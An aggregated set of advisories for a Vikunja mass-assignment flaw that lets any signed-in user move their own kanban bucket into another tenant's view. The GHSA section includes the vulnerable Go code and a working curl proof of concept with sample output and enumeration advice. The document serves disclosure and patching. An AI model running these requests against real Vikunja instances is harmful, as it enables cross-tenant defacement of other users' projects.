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Vikunja: Authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment

CVSS 3.1 5.0 MEDIUMEUVD CVSS 3.1 5.0 CVSS 3.1 · [email protected] · Secondary 5.0 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by code.vikunja.io/api 2.4.0osv · severity unknownKEV status unknown

cve-program · CVE-2026-55067

Published

Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.

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euvd · EUVD-2026-67834

Published

Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.

Read the publisher's advisory

nvd · CVE-2026-55067

Published

Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.

Read the publisher's advisory

osv · GHSA-569v-q83c-3j3g

Published

## Summary `POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`. This vulnerability was found using an LLM, and manually verified against latest (2.3.0). ## Vulnerable code `pkg/models/kanban.go` (lines 348-359): ```go func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) { _, err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "project_view_id", // mass-assigned from the request body ). Update(b) return } ``` `Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through. ## Proof of Concept **Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`. **Step 1:** Attacker creates a fresh bucket in their own project. ```bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' # Returns: 7 ``` **Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks. ```bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}' # Returns: { # "id": 7, # "title": "PWNED BUCKET", # "project_view_id": 4 # } ``` **Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker. ```bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]' # Returns: [ # {"id":7,"title":"PWNED BUCKET","created_by":"attacker"}, # {"id":1,"title":"To-Do","created_by":"victim"}, # {"id":2,"title":"Doing","created_by":"victim"}, # {"id":3,"title":"Done","created_by":"victim"} # ] ``` After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration. ## Impact Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement. ## Fix In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.

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osv · GO-2026-6307

Published

Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.4.0.

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Affected versions, risk and source history

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Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-55067 · CVE overview and exploitation status

EUVD-2026-67834

GHSA-569v-q83c-3j3g

GO-2026-6307

cve-program · CVE-2026-55067

euvd · EUVD-2026-67834

nvd · CVE-2026-55067

osv · GHSA-569v-q83c-3j3g

osv · GO-2026-6307

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